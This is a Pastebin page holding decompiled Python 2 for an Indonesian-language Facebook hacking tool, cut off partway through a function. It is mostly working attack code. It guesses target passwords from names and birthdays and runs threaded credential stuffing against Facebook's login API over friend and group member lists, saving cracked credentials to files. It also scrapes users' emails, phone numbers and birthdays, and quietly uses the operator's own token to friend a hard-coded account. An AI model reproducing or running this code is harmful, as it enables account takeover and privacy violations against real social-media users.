LOoLzeC

Untitled

May 25th, 2019
445
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 90.29 KB | None | 0 0
  1. #Decompiled by Deray Feat  Ahmad Riswanto
  2. import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib
  3. from multiprocessing.pool import ThreadPool
  4. try:
  5.     import mechanize
  6. except ImportError:
  7.     os.system('pip2 install mechanize')
  8. else:
  9.     try:
  10.         import requests
  11.     except ImportError:
  12.         os.system('pip2 install requests')
  13.  
  14. from requests.exceptions import ConnectionError
  15. from mechanize import Browser
  16. reload(sys)
  17. sys.setdefaultencoding('utf8')
  18. br = mechanize.Browser()
  19. br.set_handle_robots(False)
  20. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  21. br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
  22.  
  23. def keluar():
  24.     print '\x1b[1;91m[!] Keluar'
  25.     os.sys.exit()
  26.  
  27.  
  28. def jalan(z):
  29.     for e in z + '\n':
  30.         sys.stdout.write(e)
  31.         sys.stdout.flush()
  32.         time.sleep(0.1)
  33.  
  34.  
  35. logo = '\x1b[1;92m\n\xe2\x95\x94\xe2\x95\xa6\xe2\x95\x97\xe2\x94\x8c\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x8c\xe2\x94\x80   \xe2\x95\x94\xe2\x95\x90\xe2\x95\x97\xe2\x95\x94\xe2\x95\x97 \n \xe2\x95\x91\xe2\x95\x91\xe2\x94\x9c\xe2\x94\x80\xe2\x94\xa4\xe2\x94\x9c\xe2\x94\xac\xe2\x94\x98\xe2\x94\x9c\xe2\x94\xb4\xe2\x94\x90\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xa0\xe2\x95\xa3 \xe2\x95\xa0\xe2\x95\xa9\xe2\x95\x97\n\xe2\x95\x90\xe2\x95\xa9\xe2\x95\x9d\xe2\x94\xb4 \xe2\x94\xb4\xe2\x94\xb4\xe2\x94\x94\xe2\x94\x80\xe2\x94\xb4 \xe2\x94\xb4   \xe2\x95\x9a  \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \x1b[1;93mv1.6\n\x1b[1;93m* \x1b[1;97mAuthor  \x1b[1;91m: \x1b[1;96mZeDD\x1b[1;97m\n\x1b[1;93m* \x1b[1;97mSupport \x1b[1;91m: \x1b[1;96mLimit\x1b[1;97m[\x1b[1;96meD\x1b[1;97m] \x1b[1;97m/ \x1b[1;96m./R41N53 \x1b[1;97m/ \x1b[1;96mAl2VyN\n\x1b[1;93m* \x1b[1;97mGitHub  \x1b[1;91m: \x1b[1;92m\x1b[4mhttps://github.com/rezadkim\x1b[0m\n[*] Decompiled by Deray Feat Ahmad Riswanto\n'
  36.  
  37. def tik():
  38.     titik = [
  39.      '.   ', '..  ', '... ']
  40.     for o in titik:
  41.         print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mSedang Masuk \x1b[1;97m' + o,
  42.         sys.stdout.flush()
  43.         time.sleep(1)
  44.  
  45.  
  46. back = 0
  47. threads = []
  48. berhasil = []
  49. cekpoint = []
  50. gagal = []
  51. idteman = []
  52. idfromteman = []
  53. idmem = []
  54. id = []
  55. em = []
  56. emfromteman = []
  57. hp = []
  58. hpfromteman = []
  59. reaksi = []
  60. reaksigrup = []
  61. komen = []
  62. komengrup = []
  63. listgrup = []
  64. vulnot = '\x1b[31mNot Vuln'
  65. vuln = '\x1b[32mVuln'
  66.  
  67.  
  68. def login():
  69.     os.system('reset')
  70.     try:
  71.         toket = open('login.txt', 'r')
  72.         menu()
  73.     except (KeyError, IOError):
  74.         os.system('reset')
  75.         print logo
  76.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  77.         print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FACEBOOK \x1b[1;91m[\xe2\x98\x86]'
  78.         id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername \x1b[1;91m:\x1b[1;92m ')
  79.         pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ')
  80.         tik()
  81.         try:
  82.             br.open('https://m.facebook.com')
  83.         except mechanize.URLError:
  84.             print '\n\x1b[1;91m[!] Tidak ada koneksi'
  85.             keluar()
  86.  
  87.         br._factory.is_html = True
  88.         br.select_form(nr=0)
  89.         br.form['email'] = id
  90.         br.form['pass'] = pwd
  91.         br.submit()
  92.         url = br.geturl()
  93.         if 'save-device' in url:
  94.             try:
  95.                 sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32'
  96.                 data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'}
  97.                 x = hashlib.new('md5')
  98.                 x.update(sig)
  99.                 a = x.hexdigest()
  100.                 data.update({'sig': a})
  101.                 url = 'https://api.facebook.com/restserver.php'
  102.                 r = requests.get(url, params=data)
  103.                 z = json.loads(r.text)
  104.                 zedd = open('login.txt', 'w')
  105.                 zedd.write(z['access_token'])
  106.                 zedd.close()
  107.                 print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin berhasil'
  108.                 requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token'])
  109.                 os.system('xdg-open https://www.instagram.com/rezadkim')
  110.                 time.sleep(2)
  111.                 menu()
  112.             except requests.exceptions.ConnectionError:
  113.                 print '\n\x1b[1;91m[!] Tidak ada koneksi'
  114.                 keluar()
  115.  
  116.         if 'checkpoint' in url:
  117.             print '\n\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint'
  118.             os.system('rm -rf login.txt')
  119.             time.sleep(1)
  120.             keluar()
  121.         else:
  122.             print '\n\x1b[1;91m[!] Login Gagal'
  123.             os.system('rm -rf login.txt')
  124.             time.sleep(1)
  125.             login()
  126.  
  127.  
  128. def menu():
  129.     os.system('reset')
  130.     try:
  131.         toket = open('login.txt', 'r').read()
  132.     except IOError:
  133.         os.system('reset')
  134.         print '\x1b[1;91m[!] Token tidak ditemukan'
  135.         os.system('rm -rf login.txt')
  136.         time.sleep(1)
  137.         login()
  138.     else:
  139.         try:
  140.             otw = requests.get('https://graph.facebook.com/me?access_token=' + toket)
  141.             a = json.loads(otw.text)
  142.             nama = a['name']
  143.             id = a['id']
  144.         except KeyError:
  145.             os.system('reset')
  146.             print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint'
  147.             os.system('rm -rf login.txt')
  148.             time.sleep(1)
  149.             login()
  150.         except requests.exceptions.ConnectionError:
  151.             print '\x1b[1;91m[!] Tidak ada koneksi'
  152.             keluar()
  153.  
  154.     os.system('reset')
  155.     print logo
  156.     print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90'
  157.     print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Nama \x1b[1;91m: \x1b[1;92m' + nama
  158.     print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90'
  159.     print '\x1b[1;37;40m1. Informasi Pengguna'
  160.     print '\x1b[1;37;40m2. Hack Akun Facebook'
  161.     print '\x1b[1;37;40m3. Bot               '
  162.     print '\x1b[1;37;40m4. Lainnya....       '
  163.     print '\x1b[1;37;40m5. LogOut            '
  164.     print '\x1b[1;31;40m0. Keluar            '
  165.     print
  166.     pilih()
  167.  
  168.  
  169. def pilih():
  170.     zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  171.     if zedd == '':
  172.         print '\x1b[1;91m[!] Jangan kosong'
  173.         pilih()
  174.     else:
  175.         if zedd == '1':
  176.             informasi()
  177.         else:
  178.             if zedd == '2':
  179.                 menu_hack()
  180.             else:
  181.                 if zedd == '3':
  182.                     menu_bot()
  183.                 else:
  184.                     if zedd == '4':
  185.                         lain()
  186.                     else:
  187.                         if zedd == '5':
  188.                             os.system('rm -rf login.txt')
  189.                             os.system('xdg-open https://www.youtube.com/nganunymous')
  190.                             keluar()
  191.                         else:
  192.                             if zedd == '0':
  193.                                 keluar()
  194.                             else:
  195.                                 print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mTidak ada'
  196.                                 pilih()
  197.  
  198.  
  199. def informasi():
  200.     os.system('reset')
  201.     try:
  202.         toket = open('login.txt', 'r').read()
  203.     except IOError:
  204.         print '\x1b[1;91m[!] Token tidak ditemukan'
  205.         os.system('rm -rf login.txt')
  206.         time.sleep(1)
  207.         login()
  208.  
  209.     os.system('reset')
  210.     print logo
  211.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  212.     id = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID\x1b[1;97m/\x1b[1;92mNama\x1b[1;91m : \x1b[1;97m')
  213.     jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  214.     r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
  215.     cok = json.loads(r.text)
  216.     for p in cok['data']:
  217.         if id in p['name'] or id in p['id']:
  218.             r = requests.get('https://graph.facebook.com/' + p['id'] + '?access_token=' + toket)
  219.             z = json.loads(r.text)
  220.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  221.             try:
  222.                 print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m          : ' + z['name']
  223.             except KeyError:
  224.                 print '\x1b[1;91m[?] \x1b[1;92mNama\x1b[1;97m          : \x1b[1;91mTidak ada'
  225.             else:
  226.                 try:
  227.                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m            : ' + z['id']
  228.                 except KeyError:
  229.                     print '\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m            : \x1b[1;91mTidak ada'
  230.                 else:
  231.                     try:
  232.                         print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m         : ' + z['email']
  233.                     except KeyError:
  234.                         print '\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m         : \x1b[1;91mTidak ada'
  235.                     else:
  236.                         try:
  237.                             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNomor HP\x1b[1;97m      : ' + z['mobile_phone']
  238.                         except KeyError:
  239.                             print '\x1b[1;91m[?] \x1b[1;92mNomor HP\x1b[1;97m      : \x1b[1;91mTidak ada'
  240.  
  241.                         try:
  242.                             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLokasi\x1b[1;97m        : ' + z['location']['name']
  243.                         except KeyError:
  244.                             print '\x1b[1;91m[?] \x1b[1;92mLokasi\x1b[1;97m        : \x1b[1;91mTidak ada'
  245.  
  246.                     try:
  247.                         print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mTanggal Lahir\x1b[1;97m : ' + z['birthday']
  248.                     except KeyError:
  249.                         print '\x1b[1;91m[?] \x1b[1;92mTanggal Lahir\x1b[1;97m : \x1b[1;91mTidak ada'
  250.  
  251.                 try:
  252.                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSekolah\x1b[1;97m       : '
  253.                     for q in z['education']:
  254.                         try:
  255.                             print '\x1b[1;91m                   ~ \x1b[1;97m' + q['school']['name']
  256.                         except KeyError:
  257.                             print '\x1b[1;91m                   ~ \x1b[1;91mTidak ada'
  258.  
  259.                 except KeyError:
  260.                     pass
  261.  
  262.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  263.             menu()
  264.     else:
  265.         print '\x1b[1;91m[\xe2\x9c\x96] Pengguna tidak ditemukan'
  266.         raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  267.         menu()
  268.  
  269.  
  270. def menu_hack():
  271.     os.system('reset')
  272.     try:
  273.         toket = open('login.txt', 'r').read()
  274.     except IOError:
  275.         print '\x1b[1;91m[!] Token tidak ditemukan'
  276.         os.system('rm -rf login.txt')
  277.         time.sleep(1)
  278.         login()
  279.  
  280.     os.system('reset')
  281.     print logo
  282.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  283.     print '\x1b[1;37;40m1. Mini Hack Facebook(\x1b[1;92mTarget\x1b[1;97m)'
  284.     print '\x1b[1;37;40m2. Multi Bruteforce Facebook'
  285.     print '\x1b[1;37;40m3. Super Multi Bruteforce Facebook'
  286.     print '\x1b[1;37;40m4. BruteForce(\x1b[1;92mTarget\x1b[1;97m)'
  287.     print '\x1b[1;37;40m5. Yahoo Checker'
  288.     print '\x1b[1;37;40m6. Ambil id/email/hp'
  289.     print '\x1b[1;31;40m0. Kembali'
  290.     print
  291.     hack_pilih()
  292.  
  293.  
  294. def hack_pilih():
  295.     hack = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  296.     if hack == '':
  297.         print '\x1b[1;91m[!] Jangan kosong'
  298.         hack_pilih()
  299.     else:
  300.         if hack == '1':
  301.             mini()
  302.         else:
  303.             if hack == '2':
  304.                 crack()
  305.                 hasil()
  306.             else:
  307.                 if hack == '3':
  308.                     super()
  309.                 else:
  310.                     if hack == '4':
  311.                         brute()
  312.                     else:
  313.                         if hack == '5':
  314.                             menu_yahoo()
  315.                         else:
  316.                             if hack == '6':
  317.                                 grab()
  318.                             else:
  319.                                 if hack == '0':
  320.                                     menu()
  321.                                 else:
  322.                                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + hack + ' \x1b[1;91mTidak ada'
  323.                                     hack_pilih()
  324.  
  325.  
  326. def mini():
  327.     os.system('reset')
  328.     try:
  329.         toket = open('login.txt', 'r').read()
  330.     except IOError:
  331.         print '\x1b[1;91m[!] Token tidak ditemukan'
  332.         os.system('rm -rf login.txt')
  333.         time.sleep(1)
  334.         login()
  335.     else:
  336.         os.system('reset')
  337.         print logo
  338.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  339.         print '\x1b[1;91m[ INFO ] Akun target harus berteman dengan akun anda dulu !'
  340.         try:
  341.             id = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ')
  342.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  343.             r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket)
  344.             a = json.loads(r.text)
  345.             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + a['name']
  346.             jalan('\x1b[1;91m[+] \x1b[1;92mMemeriksa \x1b[1;97m...')
  347.             time.sleep(2)
  348.             jalan('\x1b[1;91m[+] \x1b[1;92mMembuka keamanan \x1b[1;97m...')
  349.             time.sleep(2)
  350.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mMohon Tunggu sebentar \x1b[1;97m...')
  351.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  352.             pz1 = a['first_name'] + '123'
  353.             data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  354.             y = json.load(data)
  355.             if 'access_token' in y:
  356.                 print '\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  357.                 print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m     : ' + a['name']
  358.                 print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
  359.                 print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1
  360.                 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  361.                 menu_hack()
  362.             else:
  363.                 if 'www.facebook.com' in y['error_msg']:
  364.                     print '\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  365.                     print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint'
  366.                     print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m     : ' + a['name']
  367.                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
  368.                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1
  369.                     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  370.                     menu_hack()
  371.                 else:
  372.                     pz2 = a['first_name'] + '12345'
  373.                     data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  374.                     y = json.load(data)
  375.                     if 'access_token' in y:
  376.                         print '\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  377.                         print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m     : ' + a['name']
  378.                         print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
  379.                         print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2
  380.                         raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  381.                         menu_hack()
  382.                     else:
  383.                         if 'www.facebook.com' in y['error_msg']:
  384.                             print '\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  385.                             print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint'
  386.                             print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m     : ' + a['name']
  387.                             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
  388.                             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2
  389.                             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  390.                             menu_hack()
  391.                         else:
  392.                             pz3 = a['last_name'] + '123'
  393.                             data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  394.                             y = json.load(data)
  395.                             if 'access_token' in y:
  396.                                 print '\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  397.                                 print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m     : ' + a['name']
  398.                                 print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
  399.                                 print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3
  400.                                 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  401.                                 menu_hack()
  402.                             else:
  403.                                 if 'www.facebook.com' in y['error_msg']:
  404.                                     print '\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  405.                                     print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint'
  406.                                     print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m     : ' + a['name']
  407.                                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
  408.                                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3
  409.                                     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  410.                                     menu_hack()
  411.                                 else:
  412.                                     lahir = a['birthday']
  413.                                     pz4 = lahir.replace('/', '')
  414.                                     data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  415.                                     y = json.load(data)
  416.                                     if 'access_token' in y:
  417.                                         print '\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  418.                                         print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m     : ' + a['name']
  419.                                         print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
  420.                                         print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4
  421.                                         raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  422.                                         menu_hack()
  423.                                     else:
  424.                                         if 'www.facebook.com' in y['error_msg']:
  425.                                             print '\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  426.                                             print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint'
  427.                                             print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m     : ' + a['name']
  428.                                             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
  429.                                             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4
  430.                                             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  431.                                             menu_hack()
  432.                                         else:
  433.                                             print '\x1b[1;91m[!] Maaf, gagal membuka password target :('
  434.                                             print '\x1b[1;91m[!] Cobalah dengan cara lain.'
  435.                                             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  436.                                             menu_hack()
  437.         except KeyError:
  438.             print '\x1b[1;91m[!] Terget tidak ditemukan'
  439.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  440.             menu_hack()
  441.  
  442.  
  443. def crack():
  444.     global file
  445.     global idlist
  446.     global passw
  447.     os.system('reset')
  448.     try:
  449.         toket = open('login.txt', 'r').read()
  450.     except IOError:
  451.         print '\x1b[1;91m[!] Token tidak ditemukan'
  452.         os.system('rm -rf login.txt')
  453.         time.sleep(1)
  454.         login()
  455.     else:
  456.         os.system('reset')
  457.         print logo
  458.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  459.         idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID  \x1b[1;91m: \x1b[1;97m')
  460.         passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97m')
  461.         try:
  462.             file = open(idlist, 'r')
  463.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  464.             for x in range(40):
  465.                 zedd = threading.Thread(target=scrak, args=())
  466.                 zedd.start()
  467.                 threads.append(zedd)
  468.  
  469.             for zedd in threads:
  470.                 zedd.join()
  471.  
  472.         except IOError:
  473.             print '\x1b[1;91m[!] File tidak ditemukan'
  474.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  475.             menu_hack()
  476.  
  477.  
  478. def scrak():
  479.     global back
  480.     global berhasil
  481.     global cekpoint
  482.     global gagal
  483.     global up
  484.     try:
  485.         buka = open(idlist, 'r')
  486.         up = buka.read().split()
  487.         while file:
  488.             username = file.readline().strip()
  489.             url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6'
  490.             data = urllib.urlopen(url)
  491.             mpsh = json.load(data)
  492.             if back == len(up):
  493.                 break
  494.             if 'access_token' in mpsh:
  495.                 bisa = open('Berhasil.txt', 'w')
  496.                 bisa.write(username + ' | ' + passw + '\n')
  497.                 bisa.close()
  498.                 berhasil.append('\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + username + ' | ' + passw)
  499.                 back += 1
  500.             else:
  501.                 if 'www.facebook.com' in mpsh['error_msg']:
  502.                     cek = open('Cekpoint.txt', 'w')
  503.                     cek.write(username + ' | ' + passw + '\n')
  504.                     cek.close()
  505.                     cekpoint.append('\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + username + ' | ' + passw)
  506.                     back += 1
  507.                 else:
  508.                     gagal.append(username)
  509.                     back += 1
  510.             sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack    \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(berhasil)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(cekpoint)))
  511.             sys.stdout.flush()
  512.  
  513.     except IOError:
  514.         print '\n\x1b[1;91m[!] Koneksi terganggu'
  515.         time.sleep(1)
  516.     except requests.exceptions.ConnectionError:
  517.         print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  518.  
  519.  
  520. def hasil():
  521.     print
  522.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  523.     for b in berhasil:
  524.         print b
  525.  
  526.     for c in cekpoint:
  527.         print c
  528.  
  529.     print
  530.     print '\x1b[31m[x] Gagal \x1b[1;97m--> ' + str(len(gagal))
  531.     keluar()
  532.  
  533.  
  534. def super():
  535.     global toket
  536.     os.system('reset')
  537.     try:
  538.         toket = open('login.txt', 'r').read()
  539.     except IOError:
  540.         print '\x1b[1;91m[!] Token tidak ditemukan'
  541.         os.system('rm -rf login.txt')
  542.         time.sleep(1)
  543.         login()
  544.  
  545.     os.system('reset')
  546.     print logo
  547.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  548.     print '\x1b[1;37;40m1. Crack dari daftar Teman'
  549.     print '\x1b[1;37;40m2. Crack dari member Grup'
  550.     print '\x1b[1;31;40m0. Kembali'
  551.     print
  552.     pilih_super()
  553.  
  554.  
  555. def pilih_super():
  556.     peak = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  557.     if peak == '':
  558.         print '\x1b[1;91m[!] Jangan kosong'
  559.         pilih_super()
  560.     else:
  561.         if peak == '1':
  562.             os.system('reset')
  563.             print logo
  564.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  565.             jalan('\x1b[1;91m[+] \x1b[1;92mMengambil id teman \x1b[1;97m...')
  566.             r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
  567.             z = json.loads(r.text)
  568.             for s in z['data']:
  569.                 id.append(s['id'])
  570.  
  571.         else:
  572.             if peak == '2':
  573.                 os.system('reset')
  574.                 print logo
  575.                 print 40 * '\x1b[1;97m\xe2\x95\x90'
  576.                 idg = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup   \x1b[1;91m:\x1b[1;97m ')
  577.                 try:
  578.                     r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket)
  579.                     asw = json.loads(r.text)
  580.                     print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name']
  581.                 except KeyError:
  582.                     print '\x1b[1;91m[!] Grup tidak ditemukan'
  583.                     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  584.                     super()
  585.  
  586.                 re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket)
  587.                 s = json.loads(re.text)
  588.                 for i in s['data']:
  589.                     id.append(i['id'])
  590.  
  591.             else:
  592.                 if peak == '0':
  593.                     menu_hack()
  594.                 else:
  595.                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada'
  596.                     pilih_super()
  597.     print '\x1b[1;91m[+] \x1b[1;92mJumlah ID \x1b[1;91m: \x1b[1;97m' + str(len(id))
  598.     jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  599.     titik = ['.   ', '..  ', '... ']
  600.     for o in titik:
  601.         print '\r\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;97m' + o,
  602.         sys.stdout.flush()
  603.         time.sleep(1)
  604.  
  605.     print
  606.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  607.  
  608.     def main(arg):
  609.         user = arg
  610.         try:
